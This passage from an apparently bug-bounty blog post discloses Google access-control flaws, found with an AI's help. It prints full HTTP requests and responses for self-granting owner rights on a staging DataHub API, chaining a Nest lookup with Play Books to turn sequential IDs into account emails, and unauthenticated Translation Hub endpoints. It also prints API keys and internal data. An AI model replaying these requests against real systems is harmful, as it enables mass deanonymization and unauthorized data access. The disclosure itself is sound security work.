        <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;datasetId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;projectId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;google&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;datasetLocalId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PeopleView_Lifecycle&quot;</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;entryLocalId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Persons.Basic&quot;</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/google/datasets/PeopleView_Lifecycle/entries/Persons.Basic&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PeopleView_Lifecycle.Persons.Basic&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;**Data is [Need-To-Know Employee Data](https://goto.google.com/workforce-data-standard#need-to-know-workforce-data) based on Google’s Security and Privacy policies and should only be used for a legitimate business purpose in accordance with the [Employee Privacy Policy](https://support.google.com/mygoogle/answer/9011840).**\n\nThis table contains information about currently active Alphabeters and TVCs. Current persons records where `worker_status = &#x27;Active&#x27;`. One row per `person_id`. The data is sourced daily from Workday. Data should generally match Workday/HR API but may not reconcile due to timing differences. Here, the data are flattened, transformed, and pre-joined here to make it easier to query. Read the [documentation](https://g3doc.corp.google.com/company/teams/peopleview/tables/lifecycle/persons.md) for more information.\n\nExplore on a dashboard: [go/Persons](https://goto.google.com/persons).\n\n\u003chr \\\u003e\n\nThis table is part of PeopleView. See [go/PVTables](https://goto.google.com/pvtables) for more information.\n\nNOTE: PeopleView is designed as an ad hoc analytical tool and is not meant to be a data source for production apps. If you need this type of data outside an ad-hoc capacity, consider querying the relevant APIs directly.\n\n* For individual access, request [this DSF role](https://dsf.corp.google.com/roles?query=Basic%20person%20and%20common%20data) in Sphinx.\n* For MDB account access, see go/pv-borg-role-access and make sure to include the step 5 information requested and the step 6 acknowledgement in your DSF request.\n\nJoin [go/pv-announce](https://goto.google.com/pv-announce) groups for updates about this and other PeopleView tables.\n&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;debugInfo&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;distinctUserCount&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1279&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;contextualInfo&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;frequentlyJoinedTables&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
          <span class="hljs-string">&quot;pothagunta.phub_data_dump_new&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-string">&quot;ramandeepm.pitch_proposal_deal_value_newtable&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-string">&quot;ramandeepm.AHT_data_case_log&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-string">&quot;ramandeepm.solution_data&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-string">&quot;glo_insights_admin.Order_OTIF_Extract&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-string">&quot;buganizer.issuestatsfresh&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-string">&quot;buganizer.issuehistories&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-string">&quot;baeminbo.dev.bug_reporter&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-string">&quot;baeminbo.bug_reporter&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-string">&quot;teamgraph.Teams&quot;</span>
        <span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  ...
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>Although all the other endpoints to actually fetch the table information was locked behind <code>PERMISSION_DENIED</code>, this endpoint for suggesting tables seemed to be completely exposed.</p>
<p>Not long after, the AI discovered that you could just use <code>setIamPolicy</code> to add yourself as an admin for the whole dataset on the staging API:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v2/projects/google/datasets/ytdata:setIamPolicy</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>staging-datahub-googleapis.sandbox.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyAqrh2LhFgs8rDf0zUFkFeQkPwJBPLPAwE
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-prolog">{
  <span class="hljs-string">&quot;policy&quot;</span>: {
    <span class="hljs-string">&quot;bindings&quot;</span>: [
      {
        <span class="hljs-string">&quot;members&quot;</span>: [
          <span class="hljs-string">&quot;user:grptest2@gmail.com&quot;</span>
        ],
        <span class="hljs-string">&quot;role&quot;</span>: <span class="hljs-string">&quot;roles/datahub.owner&quot;</span>
      }
    ]
  }
}</span></code></pre><p><strong>Response</strong> (200)</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;version&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;etag&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;BwZMk+xmxsQ=&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;bindings&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;role&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;roles/datahub.owner&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;members&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;user:gvrptest2@gmail.com&quot;</span>
      <span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>You could now dump all the dataset entries:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v2/projects/google/datasets/ytdata/entries?pageSize=100</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>staging-datahub-googleapis.sandbox.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyAqrh2LhFgs8rDf0zUFkFeQkPwJBPLPAwE</code></pre><p>This response was <strong>massive</strong> (several GB) and was filled with tons of confidential YouTube information.</p>
<p>As a short peek into this data, this is what the <code>plx://ytdata.cd_adsense_params</code> table looked like:</p>
<pre><code>GET /v2/projects/google/datasets/ytdata/entries/cd_adsense_params HTTP/2
Host: staging-datahub-googleapis.sandbox.google.com</code></pre><p>Response:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  ...
      <span class="hljs-attr">&quot;structValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;fields&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;update_time_usec&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;datetimeValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1970-01-01T00:00:00Z&quot;</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;query&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;(WITH\n  AP AS (\n    SELECT\n      *\n    FROM\n      ytdata.cd_adsense_params\n    WHERE\n      scd2.end_time_usec IS NULL\n  ),\n  ChannelInLowerTier AS (\n    SELECT\n      external_channel_id\n    FROM\n      arcata.d_channel_entities\n    WHERE\n      feature_data.channel_monetization_root_data.ypp_tier_data.ypp_tier = &#x27;YPP_TIER_LOWER&#x27; AND feature_data.channel_monetization_root_data.ypp_tier_data.in_ypp_tier_rollout\n  ),\n  YPPCorpus AS (\n    SELECT\n      external_channel_id,\n      ANY_VALUE(monetization_status_data.monetization_basics_status) AS monetization_status\n    FROM\n      ytdata.cd_channel AS Channel\n      INNER JOIN\n      ytdata.cd_owner\n      USING(external_content_owner_id)\n      INNER JOIN\n      AP\n      USING(adsense_params_id)\n      INNER JOIN\n      ChannelInLowerTier\n      USING(external_channel_id)\n    WHERE\n      (Channel.scd2.start_time_usec IS NULL OR TIMESTAMP_MICROS(Channel.scd2.start_time_usec) \u003c= TIMESTAMP(DATE &#x27;2019-12-12&#x27;)) AND\n      (Channel.scd2.end_time_usec IS NULL OR TIMESTAMP_MICROS(Channel.scd2.end_time_usec) \u003e TIMESTAMP(DATE &#x27;2019-12-12&#x27;)) AND\n      external_channel_id LIKE &#x27;UC%&#x27; AND monetization_status_data.monetization_basics_status IN (&#x27;CHANNEL_M10N_STATUS_ACTIVE_PREMIUM&#x27;,\n        &#x27;CHANNEL_M10N_STATUS_ACTIVE_TORSO&#x27;, &#x27;CHANNEL_M10N_STATUS_ACTIVE_LONGTAIL&#x27;, &#x27;CHANNEL_M10N_STATUS_ACTIVE_MCNA&#x27;) AND\n      Channel.status.lifecycle_state = &#x27;STATE_ACTIVE&#x27; AND NOT Channel.config.is_youtube_compilation AND external_channel_id NOT IN\n      ((\n        SELECT\n          CONCAT(&#x27;UC&#x27;, external_user_id)\n        FROM\n          youtube_partnerprogram.yt_rhea_users\n        )) AND external_channel_id NOT IN ((\n        SELECT\n          CONCAT(&#x27;UC&#x27;, external_user_id)\n        FROM\n          youtube_partnerprogram.legacy_test_users\n        )) AND NOT content_owner_flags.is_test_account AND flags.ads_threshold_met_or_exempted AND AP.status =\n      &#x27;STATUS_PARAMS_ACTIVE&#x27;\n    GROUP BY external_channel_id\n  )\nSELECT\n  external_channel_id,\n  monetization_status\nFROM\n  YPPCorpus\n);&quot;</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Generates a dump of the YPP corpus of lower tier channels for purposes of Conqueror.\n&quot;</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;source_link&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;https://source.corp.google.com/piper///depot/google3/video/youtube/monetization/partnerprogram/cyborg/plx/backfill_lower_tier_conqueror_corpus.sql&quot;</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;uuid&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;69ab39d1-0000-20d2-8478-d43a2cc4fc97&quot;</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;enumValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
              <span class="hljs-attr">&quot;enumId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;4354137640969216528&quot;</span><span class="hljs-punctuation">,</span>
              <span class="hljs-attr">&quot;enumName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;AUTOMATICALLY_GENERATED&quot;</span><span class="hljs-punctuation">,</span>
              <span class="hljs-attr">&quot;enumValueDefId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;4354137640969216528&quot;</span><span class="hljs-punctuation">,</span>
              <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;AUTOMATICALLY_GENERATED&quot;</span>
            <span class="hljs-punctuation">}</span>
          <span class="hljs-punctuation">}</span>
  ...

  <span class="hljs-attr">&quot;replicas&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;uh&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;replicaId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;uh&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;filePaths&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-string">&quot;/cns/uh-d/home/youtube-reporting/versioned_release/2026/03/08/_cd_adsense_params/1773039600000000/cd_adsense_params_capacitor_20260308_2026_03_09_00_01-?????-of-00010&quot;</span>
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  ...
    <span class="hljs-attr">&quot;adsense_publisher_code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;This has the Publisher code for Adsense account which has the format\n \&quot;pub-\&quot; followed by 16 numeric digits. Like \&quot;pub-xxxxxxxxxxxxxxxx\&quot;. This is\n the idenitifer used by Adsense for publisher Adsense accounts.\n Find more information about the Adsense publisher code:\n https://f1mappingviewer.corp.google.com/display_ads_f1/table?table=Publisher&amp;database=DisplayAdsF1&amp;view=display_ads_f1#highlight=Publisher.Info.publisher_code\n&quot;</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;additional_web_property.is_added_host_syn_service&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;True if this adsense account has AFC_HOST and can be used for serving video\n ads. See go/airtube for more details\n&quot;</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;scd2.wipeout_performed_usec&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;A microsecond timestamp to indicate when the wipeout was most recently\n performed for the row, if applicable. The initial wipeout typically happens\n 31 days after wipeout_event_usec but that may vary. Further wipeout may be\n repeated at later times due to changes in the wipeout config or code.\n&quot;</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  ...</code></pre><p>From the limited set of queries I did, I saw the table metadata of a few tables in <code>ytdata</code>:</p>
<pre><code>================================================================================
  Dataset: ytdata  (1592 entries)
================================================================================
  Table                                               Size  Owner                Source          System
  --------------------------------------------- ----------  -------------------- --------------- ---------------
  s_bt_weekly_estimated_payments_avod_claim         2.1 PB  -                    FILE            MANUAL
  _cd_video_hifi_new                                1.1 PB  youtube-reporting    FILE            MANUAL
  s_bt_weekly_estimated_payments_avod_asset       891.6 TB  -                    FILE            MANUAL
  _cd_video_new                                   834.2 TB  -                    FILE            MANUAL
  _s_cd_video_ownership                           813.5 TB  youtube-reporting    FILE            DATASCAPE_MIGRATION
  s_bt_weekly_estimated_payments_avod_video       728.6 TB  -                    FILE            MANUAL
  s_bt_payments_avod_claim_rollup                 699.3 TB  -                    FILE            MANUAL
  _cd_playlist_new                                635.2 TB  -                    FILE            DATASCAPE_MIGRATION
  _s_cd_video_old                                 474.1 TB  -                    FILE            DATASCAPE_MIGRATION
  ...</code></pre><p>These tables seemed to contain tons of YouTube user data. The interesting thing about DataHub is that this is actually the underlying ACL that PLX checks in determining whether or not to let a query run. I reported this and within less than an hour it was accepted as <strong>P0/S0</strong>.</p>
<p>As it turns out, this bug was only present on the staging environment (which was a mirror to prod), so even though in theory DataHub ACL is used for authorization checks to the underlying data, there wasn&#39;t any way to prove that the tables itself could be queried. As such, both vulnerabilities were rewarded $12,000 under 2x <em>This report was of exceptional quality! Normal Google Applications. Vulnerability category is &quot;bypass of significant security controls&quot;, other data/systems.</em></p>
<h4 id="deanonymizing-nest-device-owners"><a class="anchor" href="#deanonymizing-nest-device-owners" aria-hidden="true">#</a>Deanonymizing Nest device owners</h4><p>This one was a fun one because it was a throwback to my <a href="/articles/leaking-youtube-emails">very first Google bug</a>. The AI flagged an unauthenticated endpoint on <code>nestauthproxyservice-pa.googleapis.com</code> that took a Nest device ID and returned the <strong>unobfuscated Gaia ID</strong> of the device owner.</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/look_up_by_nest_id</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>nestauthproxyservice-pa.googleapis.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyDAg4ny6lmd4KjOLVrL51U5VGZfvnlwtXM
<span class="hljs-attribute">X-Android-Package</span><span class="hljs-punctuation">: </span>com.google.android.apps.chromecast.app
<span class="hljs-attribute">X-Android-Cert</span><span class="hljs-punctuation">: </span>24bb24c05e47e0aefa68a58a766179d9b613a600
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-json"><span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;nestId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2000&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;namespaceId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;nest-phoenix-prod&quot;</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">}</span></span></code></pre><p>Response:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;gaiaId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED_GAIA_ID&gt;&quot;</span> <span class="hljs-punctuation">}</span></code></pre><p>The Nest <code>id</code> field is just a sequential integer. Incrementing it walks every Nest device ever provisioned and dumps the unobfuscated Gaia ID of its owner. By itself this is already a deanonymization primitive, but unobfuscated Gaia IDs aren&#39;t emails, so I needed a way to resolve them.</p>
<p>This is where the second bug comes in. The Play Books Private API has a license-management flow where you can grant yourself a free license:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/enterprise/license:grantfreelicenses</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>playbooks-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://books.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCuLL2piIVBGOtu196oSi3-ndISBYPOjCU
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-prolog">{<span class="hljs-string">&quot;docid&quot;</span>: [<span class="hljs-string">&quot;E4QCAAAAQAAJ&quot;</span>]}</span></code></pre><p>...and then add arbitrary unobfuscated Gaia IDs as license owners:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/enterprise/license/owner:add</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>playbooks-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://books.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCuLL2piIVBGOtu196oSi3-ndISBYPOjCU
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-prolog">{
  <span class="hljs-string">&quot;licenseId&quot;</span>: <span class="hljs-string">&quot;4716209991810285569&quot;</span>,
  <span class="hljs-string">&quot;licenseOwner&quot;</span>: [{<span class="hljs-string">&quot;gaiaUser&quot;</span>: {<span class="hljs-string">&quot;gaiaId&quot;</span>: <span class="hljs-string">&quot;&lt;REDACTED_GAIA_ID&gt;&quot;</span>}}]
}</span></code></pre><p>The response echoes back every license owner, with their <strong>email</strong> attached:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;license&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;licenseId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;4716209991810285569&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;licenseOwners&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;gaiaUser&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;gaiaId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;730720269944&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;email&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;gvrptest2@gmail.com&quot;</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;gaiaUser&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;gaiaId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED_GAIA_ID&gt;&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;email&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;redacted&gt;@gmail.com&quot;</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>Chained together: increment Nest ID -&gt; unobfuscated Gaia ID of victim -&gt; Play Books license owner add -&gt; email. </p>
<p>The especially funny part is that <code>licenseOwner</code> accepts an array, so you can resolve hundreds of Gaia IDs per request, and unobfuscated Gaia IDs are themselves sequential. In theory you could just walk the entire Gaia ID space and dump the email of every Gaia account that has ever existed.</p>
<h4 id="vertex-ai-translation-hub"><a class="anchor" href="#vertex-ai-translation-hub" aria-hidden="true">#</a>Vertex AI Translation Hub</h4><p><a href="https://cloud.google.com/translation-hub" target="_blank" rel="noopener noreferrer">Translation Hub</a> is a Google Cloud product for managing large-scale document translation workflows. You upload documents, assign translator groups, and track post-editing jobs. The AI found numerous access control issues across the API.</p>
<p><strong>Unauthenticated <code>ListOperations</code></strong></p>
<p>The <code>ListOperations</code> endpoint on <code>translationhub.googleapis.com</code> doesn&#39;t require any OAuth token, just a GCP project number and an API key:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1main/projects/849254496818/locations/global/operations?pageSize=1000&amp;key=AIzaSyCp638uFro0VX5379QBep8UszB5ypzM4b4</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>translationhub.googleapis.com</code></pre><p>The response includes every Translation Hub operation for the target project, with error messages leaking internal service account names, <a href="https://cloud.google.com/storage" target="_blank" rel="noopener noreferrer">Google Cloud Storage</a> (GCS) bucket names (which reveal the victim&#39;s project IDs), and even internal <a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1974.pdf" target="_blank" rel="noopener noreferrer">Spanner</a>-style index/table names:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;operations&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/849254496818/locations/us-central1/operations/...&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;done&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">7</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;cloud-translation-hub@system.gserviceaccount.com does not have storage.buckets.get access to the Google Cloud Storage bucket. Permission &#x27;storage.buckets.get&#x27; denied on resource (or it may not exist).&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/849254496818/locations/us-central1/operations/...&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;done&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">5</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Bucket \&quot;attacker-vrp-project\&quot; not found for operation OP_GET_BUCKET_METADATA&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/849254496818/locations/us-central1/operations/...&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;done&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">6</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;UNIQUE Index violation on index PortalsDisplayNameUniqueIndex: Portals(849254496818,656981446a80cef), PortalsDisplayNameUniqueIndex(849254496818,Attacker Portal Async,656981446a80cef).;  from Flush(g3436_348015196)&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p><strong>Cross-tenant translator + job metadata</strong></p>
<p>Two more methods on the same API leak cross-tenant data with just a valid bearer token (any Google account works). Neither does any authorization check beyond checking if your token is valid.</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1alpha/projects/1072082999749/locations/global/translatorGroups</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>translationhub.googleapis.com
